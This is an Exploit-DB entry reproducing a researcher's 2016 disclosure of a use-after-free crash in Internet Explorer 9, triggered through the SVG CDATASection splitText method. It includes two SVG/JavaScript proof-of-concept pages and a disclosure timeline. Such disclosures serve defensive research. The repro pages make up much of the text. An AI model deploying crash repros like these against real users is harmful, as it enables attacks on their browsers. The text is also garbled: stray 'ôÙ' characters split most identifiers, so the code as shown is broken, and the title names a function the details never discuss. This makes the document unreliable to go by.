Exploit-DB #40933
Description: Microsoft Internet Explorer 9 - IEFRAME CMarkup­Pointer::Move­To­Gap Use-After-Free
Type: dos
Platform: windows
Date: 2016-12-16
Author: Skylined

Exploit:
<!--
Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. The use appears to happen only once almost immediately after the free, which makes practical exploitation unlikely.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaôÙScript should prevent an attacker from triggering the vulnerable code path.

Details

It appears there is an implementation bug in the splitôÙText method of CDATASection (Text) objects in SVG. splitôÙText should split a Text node into two Text nodes, by creating a new Text node and moving some of the text data from the original node to the new node. After this, each node contains a sub-string of the original text.

The bug can be triggered by calling this method with zero as the index argument on a CDATASection which contains some text. In this case, the code will return a new Text node that contains the entire text but it does not remove the text from the original node. I am speculating that this causes an additional reference to the test data without increasing its reference counter. This failure to increase the reference counter can cause this reference counter to drop to zero before all references are destroyed. I believe this is the case because the below repro triggers a use-after-free.

<svg xmlns='http://www.w3.org/2000/svg'>
  <script type="text/javascript">
    var oôÙCDATASection = document.createôÙCDATASection("Aa");
    oôÙTextôÙNode1 = oôÙCDATASection.splitôÙText(0);
    alert("Expected ''+'Aa', got '" + oôÙCDATASection.wholeôÙText + "'+'" + oôÙTextôÙNode1.wholeôÙText + "'");
    oôÙCDATASection.appendôÙData("Bb");
    alert("Expected 'Bb'+'Aa', got '" + oôÙCDATASection.wholeôÙText + "'+'" + oôÙTextôÙNode1.wholeôÙText + "'");
    oôÙTextôÙNode3 = oôÙCDATASection.splitôÙText(0);
// Uncommenting the following line prevents the crash - not sure why.
//    alert("Expected ''+'Bb'+'Aa', got '" + oôÙCDATASection.wholeôÙText + "'+'" + oôÙTextôÙNode3.wholeôÙText + "'+'" + oôÙTextôÙNode1.wholeôÙText + "'");
    oôÙTextôÙNode3.replaceôÙWholeôÙText("Cc");
  </script>
</svg>

I've created another, more complex repro as well:

Repro.svg:
-->

<svg xmlns='http://www.w3.org/2000/svg'>
  <script type="text/javascript">
    function B(bôÙValue) { return bôÙValue ? "T" : "F" };
    var oôÙElement = document.createôÙElement("x");
    var oôÙCDATASection = document.createôÙCDATASection("AB");
    oôÙElement.appendôÙChild(oôÙCDATASection);
    // splitôÙText should split a Text node into two text Nodes, each containing a substring of the data of the original Text node.
    // However, MSIE does not implement this correctly, causing both Text nodes to refer to the same data.
    oôÙTextôÙNode1 = oôÙCDATASection.splitôÙText(0);
    alert("[AB**|AB**AB=AB]\r\n[" +
        oôÙElement.textôÙContent + "**" + 
        oôÙCDATASection.nodeôÙValue + "|" + oôÙTextôÙNode1.nodeôÙValue + "**" +
        oôÙCDATASection.wholeôÙText + "=" + oôÙTextôÙNode1.wholeôÙText + "]");
    oôÙCDATASection.appendôÙData("CD");
    alert("[CDAB**CD|AB**CDAB=CDAB]TT\r\n[" +
        oôÙElement.textôÙContent + "**" + 
        oôÙCDATASection.nodeôÙValue + "|" + oôÙTextôÙNode1.nodeôÙValue + "**" +
        oôÙCDATASection.wholeôÙText + "=" + oôÙTextôÙNode1.wholeôÙText + "]" +
        B(oôÙCDATASection.parentôÙNode === oôÙElement) + B(oôÙTextôÙNode1.parentôÙNode === oôÙElement)
    );
    var oôÙTextôÙNode2 = oôÙCDATASection.splitôÙText(0);
    alert("[CDAB**|CD|AB**CDAB=CDAB=CDAB]TTT\r\n[" +
        oôÙElement.textôÙContent + "**" + 
        oôÙCDATASection.nodeôÙValue + "|" + oôÙTextôÙNode2.nodeôÙValue + "|" + oôÙTextôÙNode1.nodeôÙValue + "**" +
        oôÙCDATASection.wholeôÙText + "=" + oôÙTextôÙNode2.wholeôÙText + "=" + oôÙTextôÙNode1.wholeôÙText + "]" +
        B(oôÙCDATASection.parentôÙNode === oôÙElement) + B(oôÙTextôÙNode2.parentôÙNode === oôÙElement) + B(oôÙTextôÙNode1.parentôÙNode === oôÙElement)
    );
    var oôÙTextôÙNode3 = oôÙCDATASection.replaceôÙWholeôÙText("EF");
    alert("[EF**EF||**EF=EF=EF]TFF\r\n[" +
        oôÙElement.textôÙContent + "**" + 
        oôÙCDATASection.nodeôÙValue + "|" + oôÙTextôÙNode2.nodeôÙValue + "|" + oôÙTextôÙNode1.nodeôÙValue + "**" +
        oôÙCDATASection.wholeôÙText + "=" + oôÙTextôÙNode2.wholeôÙText + "=" + oôÙTextôÙNode1.wholeôÙText + "]" +
        oôÙCDATASection.parentôÙNode + "/" + oôÙTextôÙNode2.parentôÙNode + "/" + oôÙTextôÙNode1.parentôÙNode
    );
  </script>
</svg>

<!--
Time-line

Unknown date: This vulnerability was found through fuzzing.
12 December 2012: This vulnerability was submitted to EIP.
21 January 2013: This vulnerability was rejected by EIP.
Unknown date: This vulnerability was address by Microsoft.
15 December 2016: Details of this vulnerability are released.
-->